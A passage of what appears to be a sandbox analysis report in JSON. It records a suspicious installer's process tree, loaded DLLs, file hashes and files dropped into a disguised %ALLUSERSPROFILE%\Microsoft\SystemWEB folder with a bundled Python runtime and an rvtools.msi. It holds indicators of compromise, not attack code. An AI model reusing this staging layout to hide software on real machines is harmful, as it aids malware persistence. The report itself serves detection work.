\"%TEMP%\\5aat0yyl\\CSC68D828FB491C492C87C22A60FEF2041.TMP\"","sha256":"fd3ef1b4c91b2e85ccd05724a7cd527a3a27d7d549b0dcdb70d3d78be120c560","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00002832","uid":"00000000-00004036"},{"pid":5040,"ppid":7744,"name":"whoami.exe","command_line":"","sha256":"574bc2a2995fe2b1f732ccd39f2d99460ace980af29efdf1eb0d3e888be7d6f0","normalized_path":"%WINDIR%\\system32\\whoami.exe","parent_uid":"00000000-00007744","uid":"00000000-00005040"},{"pid":4896,"ppid":7436,"name":"ICACLS.EXE","command_line":"\"%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\.\" /SETINTEGRITYLEVEL (CI)(OI)LOW","sha256":"d95f7071dd1190d66844a778a2434b8f0bb453b975cc6a8620b448b66eb73261","normalized_path":"%WINDIR%\\SysWOW64\\ICACLS.EXE","parent_uid":"00000000-00007436","uid":"00000000-00004896"},{"pid":3708,"ppid":2836,"name":"MsiExec.exe","command_line":"-Embedding 6F43EBE0D5C81EBF13585B3A8C1B3600 C","sha256":"04de630d6f6cd8888597b55581032d01d6b6f1c26e106e7aae40ce6f2374d865","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00002836","uid":"00000000-00003708"}],"all_imported_dlls":["msvcp_win.dll","wow64base.dll","nsExec.dll","authz.dll","TextShaping.dll","sfc_os.dll","oleacc.dll","System.Runtime.Serialization.ni.dll","ncryptsslp.dll","mpr.dll","wow64con.dll","dbghelp.dll","usp10.dll","msls31.dll","System.Configuration.ni.dll","System.Transactions.ni.dll","Microsoft.WSMan.Management.ni.dll","msi.dll","ntdll.dll","apphelp.dll","powrprof.dll","Microsoft.PowerShell.Security.ni.dll","System.Web.dll","prxyqry.dll","dnsapi.dll","kernel32.dll","srclient.dll","edputil.dll","VxSSL64.dll","msasn1.dll","imagehlp.dll","advapi32.dll","mscoreei.dll","ncrypt.dll","rsaenh.dll","RstrtMgr.dll","System.Core.ni.dll","dhcpcsvc6.dll","webengine4.dll","gdi32.dll","IPHLPAPI.DLL","KernelBase.dll","WinTypes.dll","dwmapi.dll","ClrLoader.dll","System.Management.Automation.ni.dll","crypt32.dll","AppxSip.dll","Microsoft.Management.Infrastructure.ni.dll","comctl32.dll","bcryptprimitives.dll","msctf.dll","vcruntime140_1_clr0400.dll","ws2_32.dll","VxSSL32.dll","msisip.dll","System.Management.ni.dll","wldp.dll","version.dll","srvcli.dll","S7nFw5l0.dll","winhttp.dll","nsi.dll","win32u.dll","mscoree.dll","vcruntime140_clr0400.dll","ntasn1.dll","vcruntime140_1.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","winnsi.dll","rasadhlp.dll","combase.dll","netapi32.dll","setupapi.dll","mscorlib.ni.dll","python312.dll","MpClient.dll","wkscli.dll","wow64.dll","OneCoreUAPCommonProxyStub.dll","shfolder.dll","Microsoft.PowerShell.Commands.Management.ni.dll","rtutils.dll","sechost.dll","kernel.appcore.dll","netutils.dll","dbgcore.dll","riched20.dll","mswsock.dll","FWPUCLNT.DLL","schannel.dll","rpcrt4.dll","umpdc.dll","fusion.dll","clr.dll","alink.dll","vssapi.dll","ucrtbase_clr0400.dll","virtdisk.dll","TextInputFramework.dll","cryptsp.dll","ntmarta.dll","System.Xml.ni.dll","wshext.dll","rasapi32.dll","coml2.dll","wow64win.dll","System.Data.ni.dll","mscorpehost.dll","Windows.StateRepositoryPS.dll","psapi.dll","bcrypt.dll","msihnd.dll","userenv.dll","pwrshsip.dll","System.DirectoryServices.ni.dll","amsi.dll","System.EnterpriseServices.Wrapper.dll","shell32.dll","CoreUIComponents.dll","wintrust.dll","System.ServiceModel.ni.dll","profapi.dll","BCP47Langs.dll","System.ni.dll","System.Data.dll","System.Xaml.ni.dll","uxtheme.dll","user32.dll","vsstrace.dll","fltLib.dll","System.Configuration.Install.ni.dll","gpapi.dll","shlwapi.dll","gdi32full.dll","propsys.dll","sfc.dll","iertutil.dll","AppResolver.dll","cabinet.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","AcLayers.dll","cryptbase.dll","urlmon.dll","System.Transactions.dll","System.EnterpriseServices.dll","OnDemandConnRouteHelper.dll","dhcpcsvc.dll","clbcatq.dll","CoreMessaging.dll","WindowsCodecs.dll","MpOAV.dll","System.Drawing.ni.dll","imm32.dll","pcacli.dll","vcruntime140.dll","rasman.dll","ole32.dll","SHCore.dll","windows.storage.dll","sspicli.dll","spp.dll","wdscore.dll","python3.dll","msvcrt.dll","srpapi.dll","wow64cpu.dll","cfgmgr32.dll","clrjit.dll","ucrtbase.dll","oleaut32.dll","ServicingCommon.dll","dpx.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","secur32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"_lzma.pyd","sha256":"a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"libcrypto-3.dll","sha256":"05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Python.Runtime.dll","sha256":"d204ad74dc18cd07320c8e665bd32ec6549b555ce97e61e4d3cf88437a64988e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"python312.dll","sha256":"99a62d8b6f763cd5743b8f4fd3bd56e133af7412a2339d4f3a5cfd1f511cef8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"sqlite3.dll","sha256":"7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"rvtools.msi","sha256":"86bf8498bba38e436dde3bb3659a4cf1c6bdfa00ac5689cd6ae88955de5a7c20","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Unicode.Data.Automation.dll","sha256":"a4b559b239d5a98f779789f98209a014c236f36a9ffde72a2699f79008449179","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"UsbService86.exe","sha256":"3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_ctypes.pyd","sha256":"be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_elementtree.pyd","sha256":"0c488e6883a70cd54a71a9e28796f87ef6cc0d288260a965cbb24bf1d7309a20","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_multiprocessing.pyd","sha256":"467b0fef42d70b55abf41d817dff7631faeef84dce64f8aadb5690a22808d40c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_overlapped.pyd","sha256":"67e6ca6f1645c6928ade6718db28aff1c49a192e8811732b5e99364991102615","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_socket.pyd","sha256":"7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_ssl.pyd","sha256":"d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_uuid.pyd","sha256":"d132f754471bd8a6f6d7816453c2e542f250a4d8089b657392fe61a500ae7899","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"_imp_emulation.py","sha256":"4714441bccc06c8d913c6070c3dd2eff97e2f2c59d6a1a5d8a93a83f3929ec2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"backend_ctypes.py","sha256":"879648ccb73a0455579c6c9cf713ea656512eea1b2ef21520ea5deebc49af33e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"cparser.py","sha256":"4144df9a52fe68ef8c611f1b14696f0141dcdfa390afb5d82ded162e41858d1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"error.py","sha256":"bfac53892e14d24bc3732e21fc10d1a39bf7f5942e8fe20c4582efe444dd759b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"pkgconfig.py","sha256":"2cfd70eef996be62b0caa2da535676e3714e58635032b80c519aef805b8e95ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"clr.py","sha256":"f4b244f2f7a1810aa40814c35da07855405b7507836d2b39ce6676f377472d15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"__init__.py","sha256":"b6727a6a463da3ee08c5c259cd103d3dc6dee9504d6a51ac3de5b968ba466dfa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"ClrLoader.dll","sha256":"9e8b780a580542a92965e136d0b1fb0df7e64c12a681a59c444f71242929ec03","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"hostfxr.py","sha256":"59649088487f353aa7bed7d2ef799e0613f73f32977be281195f72188d2d4b4c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"libssl-3.dll","sha256":"2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"python.exe","sha256":"15b41a488c356c0e331facdea6c836a6cec021f12d5fde9844e7ca4a1aa0361a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"python3.dll","sha256":"d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"vcruntime140_1.dll","sha256":"a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"nsExec.dll","sha256":"b121689861b506dbc9c3797b49bc8a90d555cb7db58cb959165cc758391c00bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"3e85cc.msi","sha256":"407a3305a4cdfa8a91ff739021dfdb069ba91f8eec40268c4049e214056f58ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\nsyB836.tmp","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\nsoB8E3.tmp","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\rvtools.msi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\Cert.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\Unicode.Data.Automation.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\UsbService86.exe","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_cffi_backend.cp312-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_wmi.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python.cat","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python.exe","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python312._pth","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python312.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python312.zip","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\rvtools4.7.1.msi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\vcruntime140_1.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\__pycache__\\clr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\_cffi_errors.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\_cffi_include.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\_embedding.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\_imp_emulation.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\_shimmed_dist_utils.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\api.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\backend_ctypes.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\cffi_opcode.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\commontypes.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\cparser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\error.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\ffiplatform.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\lock.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\model.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\parse_c_type.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\pkgconfig.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\recompiler.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\setuptools_ext.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\vengine_cpy.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\vengine_gen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\verifier.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\_imp_emulation.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\_shimmed_dist_utils.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\api.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\backend_ctypes.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\cffi_opcode.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\commontypes.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\cparser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\error.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\ffiplatform.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\lock.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\model.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\pkgconfig.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\recompiler.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\setuptools_ext.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\vengine_cpy.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\vengine_gen.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\verifier.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\entry_points.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0